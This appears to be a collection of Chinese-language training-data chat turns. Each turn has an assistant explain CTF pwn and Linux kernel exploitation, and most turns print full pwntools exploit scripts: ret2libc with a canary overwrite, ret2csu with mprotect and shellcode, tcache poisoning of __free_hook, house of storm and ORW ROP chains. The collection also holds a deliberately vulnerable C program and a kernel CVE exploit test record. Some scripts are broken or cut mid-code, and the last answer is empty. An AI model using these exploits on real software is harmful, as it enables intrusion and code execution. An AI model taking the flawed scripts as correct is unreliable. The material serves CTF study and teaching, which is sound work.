[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2dlresolve/dl_resolve_64/64位/roputils.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2dlresolve/dl_resolve_64/64位/roputils.py`

分类：stack

语言：python

环境/依赖线索：
- `import sys`
- `import os`
- `import re`
- `import struct`
- `import socket`
- `import select`
- `import random`
- `import tempfile`
- `from subprocess import Popen, PIPE`
- `from threading import Thread, Event`
- `from telnetlib import Telnet`
- `from contextlib import contextmanager`

函数/封装：
- `Asm`
- `ELF`
- `FormatStr`
- `Pattern`
- `Proc`
- `ROP`
- `ROP_ARM`
- `ROP_I386`
- `ROP_X86_64`
- `Shellcode`
- `__init__`
- `_f`
- `addr`
- `align`
- `alnum_stager`
- `assemble`
- `bind_shell`
- `calc_offset`
- `call`
- `call_chain`

利用主题关键词：
- io-file/fsop
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x100`, `0x1c8`, `0xFFFF`, `0x10000`

训练用代码片段：
```python
#!/usr/bin/env python

import sys
import os
import re
import struct
import socket
import select
import random
import tempfile
from subprocess import Popen, PIPE
from threading import Thread, Event
from telnetlib import Telnet
from contextlib import contextmanager

def int16(x):
    if isinstance(x, (list, tuple)):
        return [int(n, 16) for n in x]
    else:
        return int(x, 16)

def p32(x):
    if isinstance(x, str):
        return struct.unpack('<I', x)[0]
    elif isinstance(x, (list, tuple)):
        return struct.pack('<' + ('I'*len(x)), *x)
    else:
        return struct.pack('<I', x)

def p64(x):
    if isinstance(x, str):
        return struct.unpack('<Q', x)[0]
    elif isinstance(x, (list, tuple)):
        return struct.pack('<' + ('Q'*len(x)), *x)
    else:
        return struct.pack('<Q', x)

class ELF(object):
    def __init__(self, fpath, base=0):
        def env_with(d):
            env = os.environ.copy()
            env.update(d)
            return env

        self.fpath = fpath
        self.base = base
        self.sec = dict(relro=False, bind_now=False, stack_canary=False, nx=False, pie=False, rpath=False, runpath=False, dt_debug=False)

        if not os.path.exists(fpath):
            raise Exception("file not found: %r" % fpath)

        self._entry_point = None
        self._section = {}
        self._dynamic = {}
        self._got = {}
        self._plt = {}
        self._symbol = {}
        self._load_blobs = []
        self._string = {}

        regexp = {
            'section': r'^\s*\[(?P<Nr>[^\]]+)\]\s+(?P<Name>\S+)\s+(?P<Type>\S+)\s+(?P<Address>\S+)\s+(?P<Off>\S+)\s+(?P<Size>\S+)\s+(?P<ES>\S+)\s+(?P<Flg>\S+)\s+(?P<Lk>\S+)\s+(?P<Inf>\S+)\s+(?P<Al>\S+)$',
            'program': r'^\s*(?P<Type>\S+)\s+(?P<Offset>\S+)\s+(?P<VirtAddr>\S+)\s+(?P<PhysAddr>\S+)\s+(?P<FileSiz>\S+)\s+(?P<MemSiz>\S+)\s+(?P<Flg>.{3})\s+(?P<Align>\S+)$',
            'dynamic': r'^\s*(?P<Tag>\S+)\s+\((?P<Type>[^)]+)\)\s+(?P<Value>.+)$',
            'reloc': r'^\s*(?P<Offset>\S+)\s+(?P<Info>\S+)\s+(?P<Type>\S+)\s+(?P<Value>\S+)\s+(?P<Name>\S+)(?: \+ (?P<AddEnd>\S+))?$',
            'symbol': r'^\s*(?P<Num>[^:]+):\s+(?P<Value>\S+)\s+(?P<Size>\S+)\s+(?P<Type>\S+)\s+(?P<Bind>\S+)\s+(?P<Vis>\S+)\s+(?P<Ndx>\S+)\s+(?P<Name>\S+)',
            'string': r'([\s\x21-\x7e]{4,})\x00',
        }
        plt_size_map = {
            'i386': (0x10, 0x10),
            'x86-64': (0x10, 0x10),
            'arm': (0x14, 0xc),
        }
        has_dynamic_section = True
        has_symbol_table = True

        p = Popen(['readelf', '-W', '-a', fpath], env=env_with({"LC_MESSAGES": "C"}), stdout=PIPE)
        # read ELF Header
        while True:
            line = p.stdout.readline()
            if line == 'Section Headers:\n':
                break
            m = re.search(r'^\s*(?P<key>[^:]+):\s+(?P<value>.+)$', line)
            if not m:
                continue
            key, value = m.group('key', 'value')
            if key == 'Class':
                if value == 'ELF64':

# ... 中间内容省略，保留关键利用片段 ...

class Shellcode(object):
            raise Exception("unsupported shellcode for %s architecture: %r" % (arch, name))
        with tempfile.NamedTemporaryFile(delete=False) as f:
            exit_with_usage("output shellcode as hexstring\n\nUsage: python %s sc ARCH/NAME [ARG...]")
        s = getattr(Shellcode(arch), name).__call__(*args)
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「Top chunk」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### Top chunk

程序第一次进行`malloc`的时候，`heap`会被分为两块，一块给用户，剩下的那块就是`top chunk`。其实，所谓的`top chunk`就是处于当前堆的物理地址最高的`chunk`。这个`chunk`不属于任何一个`bin`，它的作用在于当所有的`bin`都无法满足用户请求的大小时，如果其大小不小于指定的大小，就进行分配，并将剩下的部分作为新的`top chunk`。否则，就对`heap`进行扩展后再进行分配。在`main_arena`中通过`sbrk`扩展`heap`，而在`threadarena`中通过`mmap`分配新的heap。

需要注意的是，`top chunk`的`prev_inuse`比特位始终为1，否则其前面的`chunk`就会被合并到`top chunk`中。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「Build, run, and verification」。
资料来源：Kernel/CVE-2026-53362_lts/docs/exploit.md；主题：Exploit；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### Build, run, and verification

The package Makefile builds the exploit, and its normal execution command is:

```text
./exploit
```

The normal flag path uses no command-line options, wrapper script, environment
variable, or manual setup step.

The recorded local verification campaign on `2026-07-15` used:

| Item | Value |
| --- | --- |
| Target | `lts-6.12.85` |
| Kernel image | `runs/remote/lts-6.12.85/bzImage` |
| Harness command | Pre-migration: `REMOTE=1 ./run.sh lts-6.12.85`; current equivalent: `./run.sh Fraggap lts-6.12.85` |
| Guest command | `./exploit` |
| Reported kernel | `Linux 6.12.85`, built `2026-04-30` |
| Result | 20 flag-producing runs in 20 valid exploit attempts |

One additional harness launch failed to mount the guest root filesystem before
a shell appeared, so no exploit process ran on that boot and it was excluded
from the denominator; a later diagnostic boot completed normally. The 20/20
figure is a recorded local QEMU result, not a formal kernelCTF evaluator
result or a guarantee of universal 100% reliability. Per-run raw transcripts
are not included in this draft package.


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它/2024geek-overflow/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它/2024geek-overflow/exp.py`

分类：misc_pwn

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `dbg`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x401346`, `0x403f00`, `0x00000000004011be`, `0x000000000040123f`, `0x6766656463626100`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io = process([elf.path])
libc = ELF('libc.so.6')
context(os=elf.os, arch=elf.arch, log_level='debug')

ret = 0x00000000004011be# ret;
rdi = 0x000000000040123f# pop rdi; pop rcx; ret;
printf_plt = elf.plt['printf']
read_got = elf.got['read']

# 接收泄露的 fs 寄存器地址
ru(b'gift:')
fsbase = u64(r(6).ljust(0x8,b'\x00'))
print("fsbase:" + hex(fsbase))
canary_addr = fsbase + 0x28

# 写入存放canary的地址，+1需要绕过检测
sa("please input *ptr:",p64(canary_addr+1))
# 将canary的值更改为0x6766656463626100
sa("change *address:",b'abcdefg')

# leak libc base
payload = flat([cyclic(0x18),b'\x00abcdefg',0x403f00,rdi,read_got,0,ret,0x401346]) #printf 地址
sa("buf:",payload)
read_addr = u64(io.recv(6).ljust(8,b'\x00'))

# ret2libc
libc_base = read_addr - libc.sym['read']
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
payload = flat([cyclic(0x18),b'\x00abcdefg',0,rdi,bin_sh_addr,ret,system_addr])
io.send(payload)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它/2024geek-stdout/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它/2024geek-stdout/exp.py`

分类：misc_pwn

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `dbg`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x23b6a`, `0x1e94a0`, `0x0000000000013a2`, `0x000000000052290`, `0x0000000000022679`, `0x00000000001B45BD`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io = process([elf.path])
context(os=elf.os, arch=elf.arch, log_level='debug')

s(b'a'*0x18) #写入libc进入缓冲区
ru("???,out??\n")
s(b'a'*0x48+b'\x78') #rop 到 write 的地址

r(0x48)
# leak elf 地址
call_vuln = u64(r(8))
elf_base = call_vuln-0x0000000000013a2

# 填满缓冲区
for i in range(0xb0):
    s(b'b'*0x48+p64(call_vuln)+b'\x00'*0x10)

ru('aaaaaaaaaaaaaaaaaaaaaaaa')
libc = u64(r(6)+b'\x00\x00')-0x1e94a0
system = libc + 0x000000000052290
rdi = libc + 0x23b6a
sh = libc + 0x00000000001B45BD
ret = libc + 0x0000000000022679
rop = p64(rdi) + p64(sh) + p64(system)

s((b'a'*0x48+p64(ret)+p64(call_vuln)).ljust(0x60,b'\x00'))
s(b'a'*0x48+rop)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu2/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2csu/[NewStarCTF 公开赛赛道]ret2csu2/exp_cli.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwncli import *`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x1000`, `0x400681`, `0x4006E7`, `0x400740`, `0x40075A`, `0x601000`, `0x601020`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

mprotect_got=elf.got.mprotect
leave_ret=0x400681
gadget1=0x40075A
gadget2=0x400740

# lea rsi, [rbp - 0xf0]
first_ebp=0x601020 + 0xf0
lea_read=0x4006E7

#通过上述 lea 指令设置 rsi 值为 bss 段地址，并且再次执行 read 函数将 rop 链写入 bss 段
payload = b"a"*0xf0 + p64(first_ebp) + p64(lea_read)

ru("Remember to check it!")
s(payload)

#通过 csu 执行 mprotect 函数修改 bss 段内存权限为可读可写可执行
payload2=p64(gadget1)+p64(0)+p64(1)+ p64(mprotect_got)+p64(0x601000)+p64(0x1000)+p64(0x7)+ p64(gadget2)

# asm(shellcraft.sh())长度为0x30
shellcode = asm(shellcraft.sh())

#0x40 为 mrpotect 的 rop 链的长度，0x38 为 a 的长度，0x8 为填充地址的长度，目的是返回到 shellcode
payload2 += b"a"*0x38 + p64(0x601020+0x40+0x38+0x8) + shellcode + b"A"*(0xf0-0x40-0x38-0x8-0x30) + p64(0x601020-0x8) + p64(leave_ret)

sl(payload2)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「任意地址读取」。
资料来源：Kernel/readme.md；主题：利用msg_msg实现任意地址读写；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 任意地址读取

对于大于`0xfd0`的数据，内核会在`msg_msg`的基础上再加上`msg_msgseg`结构体，形成一个单向链表，如果我们能够同时控制`msg_msg->m_ts`及`msg_msg->next`，我们便可以实现任意地址读。但是这里需要注意的是，无论我们采用`MSG_COPY`还是常规消息接收，拷贝消息的主要依据还是`msg_msg->next`，所以为了避免遍历消息时出现访存崩溃，实现对特定地址以后数据的读取，我们需使得`segment`的前`8`字节为`NULL`。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「LargeBin Attack」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## LargeBin Attack

Largebin attack 在有些地方又被称为 House of Fun。

Largebin attack 就是通过修改位于 largebin 的 chunk 的指针，然后让其它的 chunk 进入 largebin ，借助链表操作在目标地址处写入一个堆的地址。

largebin 可以利用的指针有 bk 和 bk_nextsize 。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「unsorted bin leak」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## unsorted bin leak

由于 unsorted bin 是双向链表，因此在 unsorted bin 链表中必有一个节点的 `fd` 指针会指向 `main_arena` 结构体内部。如果我们可以把正确的 `fd` 指针 leak 出来，就可以获得一个与 `main_arena` 有固定偏移的地址，这个偏移可以通过调试得出。

[图片: Pasted image 20241203235534.png]

而`main_arena` 是一个 `struct malloc_state` 类型的全局变量，是 `ptmalloc` 管理主分配区的唯一实例。说到全局变量，立马可以想到他会被分配在 `.data` 或者 `.bss` 等段上，那么如果我们有进程所使用的 `libc` 的 `.so` 文件的话，我们就可以获得 `main_arena` 与 `libc` 基地址的偏移，从而获取 libc 的基地址。

`main_arena` 和 `__malloc_hook` 的地址差是 0x10，而大多数的 libc 都可以直接查出 `__malloc_hook` 的地址，这样可以大幅减小工作量。以 pwntools 为例

main_arena_offset = ELF("libc.so.6").symbols["__malloc_hook"] + 0x10

这样就可以获得 `main_arena` 与基地址的偏移了。

通过堆溢出进行 unlink，然后造成任意地址写进行 getshell


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/off-by-one/2025hgame-Signin2Heap/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/off-by-one/2025hgame-Signin2Heap/exp.py`

分类：heap

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `add`
- `dbg`
- `delete`
- `show`

利用主题关键词：
- heap/tcache

关键常量/偏移样例：
`0x170`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s   = lambda data: io.send(data)
sa  = lambda text, data: io.sendafter(text, data)
sl  = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r   = lambda num=4096: io.recv(num)
ru  = lambda text: io.recvuntil(text)
pr  = lambda num=4096: print(io.recv(num))
ia  = lambda: io.interactive()
ic  = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('vuln')
libc = ELF("./libc-2.27.so")
io = process([elf.path])
context(os=elf.os, arch=elf.arch, log_level='debug')

def add(index, size, content):
    sla(b"Your choice:", p32(1))
    sla(b"Index: ", str(index).encode())
    sla(b"Size: ", str(size).encode())
    sa(b"Content: ", content)

def delete(index):
    sla(b"Your choice:", p32(2))
    sla(b"Index: ", str(index).encode())

def show(index):
    sla(b"Your choice:", p32(3))
    sla(b"Index: ", str(index).encode())

# 1. 堆喷与布局
add(0, 0xF8, b'a')
add(1, 0x68, b'a')
for i in range(2, 10):  # 2~9
    add(i, 0xF8, b'a')
add(12, 0x68, b'a')

for i in range(3, 10):  # 3~9
    delete(i)

delete(0)
delete(1)

# 2. 填充 tcache chunk，伪造大小
add(1, 0x68, b'a' * 0x60 + p64(0x170))
delete(2)
add(0, 0x78, b'a')
add(2, 0x78, b'a')

# 3. 泄露 libc
show(1)
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym["__malloc_hook"] - 0x10 - 0x60
log.success("libc_base = {}".format(hex(libc_base)))

__free_hook = libc_base + libc.sym["__free_hook"]
system      = libc_base + libc.sym["system"]

# 4. 分配与释放用于 tcache poisoning
add(3, 0x68, b'a')
for i in range(4, 11):
    add(i, 0x68, b'a')

for i in range(4, 11):
    delete(i)

delete(3)
delete(12)
delete(1)

# 5. tcache poisoning 写入 __free_hook
for i in range(4, 11):
    add(i, 0x68, b'a')

add(1, 0x68, p64(__free_hook))
add(3, 0x68, b'/bin/sh\x00')
add(13, 0x68, b'/bin/sh\x00')
add(12, 0x68, p64(system))

delete(3)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2vdso/ret2vdso_x32.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2vdso/ret2vdso_x32.c`

分类：stack

语言：c

环境/依赖线索：
- `#include <stdio.h>`
- `#include <unistd.h>`

函数/封装：
- `main`
- `pwnme`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x100`, `0x400`

训练用代码片段：
```c
#include <stdio.h>
#include <unistd.h>
char buf[10] = "/bin/sh\x00";
void pwnme() {
    char s[0x100];
    char *welcome = "> ";
    write(1, welcome, 2);
    read(0, s, 0x400);
}
int main() {
    pwnme();
    return 0;
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「5. 任意地址写与劫持」。
资料来源：IO-FILE/house of storm/2026ccb catchme/wp.md；主题：2026ccb catchme；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 5. 任意地址写与劫持
- 申请到`fake_chunk`后，其用户区起始于 `__free_hook - 0x10`（因为chunk头在 `__free_hook - 0x18`）。
- 用edit（还剩一次，或者直接用申请的chunk写入）将 `__free_hook` 改为 `system` 或 `one_gadget`。
- 释放一个包含 `/bin/sh` 的chunk，触发 `system("/bin/sh")`。

- exp

```python
from pwn import *
io = process('./catchme')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw',  '-p', '100']
libc = ELF('libc-2.27.so')
rt = lambda x: io.recvuntil(x)
s  = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
def cmd(choice):
    rt(">>")
    sl(str(choice))

def add(index):
    cmd(1)
    rt("(3)otter")
    s(str(index))

def delete(index):
    cmd(2)
    rt("index:")
    s(str(index))

def show(index):
    cmd(3)
    rt("index:")
    s(str(index))

def edit(index,content):
    cmd(4)
    rt("index:")
    s(str(index))
    rt("set tag:")
    s(content)

def clear(index):
    cmd(6)
    rt("index:")
    sl(str(index))

#我们一开始布局出现了失误，对于堆块合并忘了，后来又记起来了
def pwn1():
    global lib
    add(1)
    add(1)
    delete(0)
    show(0)
    rt("tag:")
    lib = u64(io.recv(6).ljust(8, b'\x00'))-0x3ebca0
    pr(lib)
    delete(1)
    clear(0)
    clear(1)
def pwn2():
    for i in range(7):
        add(3)
        delete(0)
        clear(0)

def pwn3():
    add(2)#0
    add(3)#1
    add(1)#2
    add(3)#3
    delete(2)
    delete(0)
    clear(0)
    #放入largebin
    add(2)#0
    #unsortedbin归位
    delete(0)
    fake_chunk = lib + libc.sym["__free_hook"] - 0x18
    edit(0,p64(fake_chunk))
    edit(2, p64(fake_chunk + 8) + p64(0) + p64(fake_chunk - 0x18 - 5))
    add(3)
    ogg = lib + 0x4F302
    edit(4, p64(ogg))
    gdb.attach(io)
    delete(4)
if __name__ == "__main__":
    pwn1()
    pwn2()
    pwn3()
    #gdb.attach(io)
    io.interactive()
```

IO-FILE/house of storm/2026ccb catchme/wp.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2text/read_sh/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2text/read_sh/exp.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwn import *`

利用主题关键词：
- io-file/fsop
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x8049186`, `0x804c024`

训练用代码片段：
```python
from pwn import *

pwnfile="./demo"
io=process(pwnfile)
elf=ELF(pwnfile)

read=elf.plt["gets"]
system=elf.plt["system"]
bss=0x804c024
main=0x8049186
sh="/bin/sh"
payload1=b'a'*13+p32(read)+p32(main)+p32(sh)+p32(bss)+p32(8)

io.sendline(payload)

payload2=b'a'*13+p32(system)+p32(0)+p32(sh)

io.sendlineafter("echo hello ctfer!",payload2)

io.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「先验证 alias slot」。
资料来源：Kernel/2026d3ctf-d3kheap2pro/README.md；主题：2026d3ctf-d3kheap2pro；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 先验证 alias slot

构造：

```text
alloc(0)
free(0)
alloc(1)
```

如果 `alloc(1)` 取回刚释放的对象，那么：

```text
slot0.ptr == slot1.ptr
```

由于 slot0 的 `ptr` 没清空，slot0 成为 stale reference。

进一步可以尝试：

```text
alloc(0)
free(0)
alloc(1)
free(0)
free(1)
```

这可以制造 alias double free。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「pay=pay.ljust(0x50,b'\x00')+p64(bss+0x1b0-0x8)+p64(leave_ret)」。
资料来源：stack.md；主题：栈利用；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# pay=pay.ljust(0x50,b'\x00')+p64(bss+0x1b0-0x8)+p64(leave_ret)
pay=p64(pop_rdi)+p64(data_addr)+p64(pop_rsi)+p64(0x2000)
pay+=p64(pop_rdx_r12)+p64(7)*2+p64(mprotect)+p64(pop_rbp)+p64(bss+0x200)+p64(0x40140F)+shellcode
sd(pay)
pause()
sd(p64(0x404788))

ia()
```

```plain
第一次构造个read在我们要的bss段上写入flag字符串
第二次的rop如同下面的exp那样构造orp
```

+ exp

```python
from pwn import *
r=process('./good')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./good')
context.log_level='debug'
'''
0x000000000040083c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040083e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400840 : pop r14 ; pop r15 ; ret
0x0000000000400842 : pop r15 ; ret
0x000000000040083b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040083f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005f8 : pop rbp ; ret
0x0000000000400843 : pop rdi ; ret
0x0000000000400841 : pop rsi ; pop r15 ; ret
0x000000000040083d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040053e : ret
0x0000000000400542 : ret 0x200a
0x0000000000400778 : ret 0x2be

'''
rdi=0x0000000000400843
rsi=0x0000000000400841
r.recv()
#puts(puts_got)
pay='a'*0x58+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x0400790)
r.sendline(pay)
leak=u64(r.recv(6)+'\x00'*2)
print(hex(leak))
libc_base=leak-libc.sym['puts']
print(hex(libc_base))
r.recv()
pay3='a'*0x58+p64(rdi)+p64(0)+p64(rsi)+p64(0x601200)+p64(0x40)+p64(libc_base+libc.sym['read'])+p64(0x0400790)
r.send(pay3)
r.send('flag')

r.recv()
pay1='a'*0x58+p64(rdi)+p64(0x2)+p64(rsi)+p64(0x601200)+p64(0)+p64(libc_base+libc.sym['syscall'])
pay1+=p64(rdi)+p64(3)+p64(rsi)+p64(0x601200)+p64(0x100)+p64(libc_base+libc.sym['read'])
pay1+=p64(rdi)+p64(0x601200)+p64(libc_base+libc.sym['puts'])+p64(0x0400790)
r.send(pay1)
print(r.recvuntil("}"))
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「8. poison 到栈返回地址」。
资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 8. poison 到栈返回地址

接着 poison `0x40` bin 到刚刚计算出的返回地址位置：

```python
add(1, 0x30)
dele()
edit(p64(stack ^ (heap_addr >> 12)))
add(1, 0x30)
add(1, 0x30)
```

此时全局 `ptr` 已经指向栈上的目标返回地址区域。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/fastbin attack/Arbitrary Alloc/2017_0ctf_babyheap/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
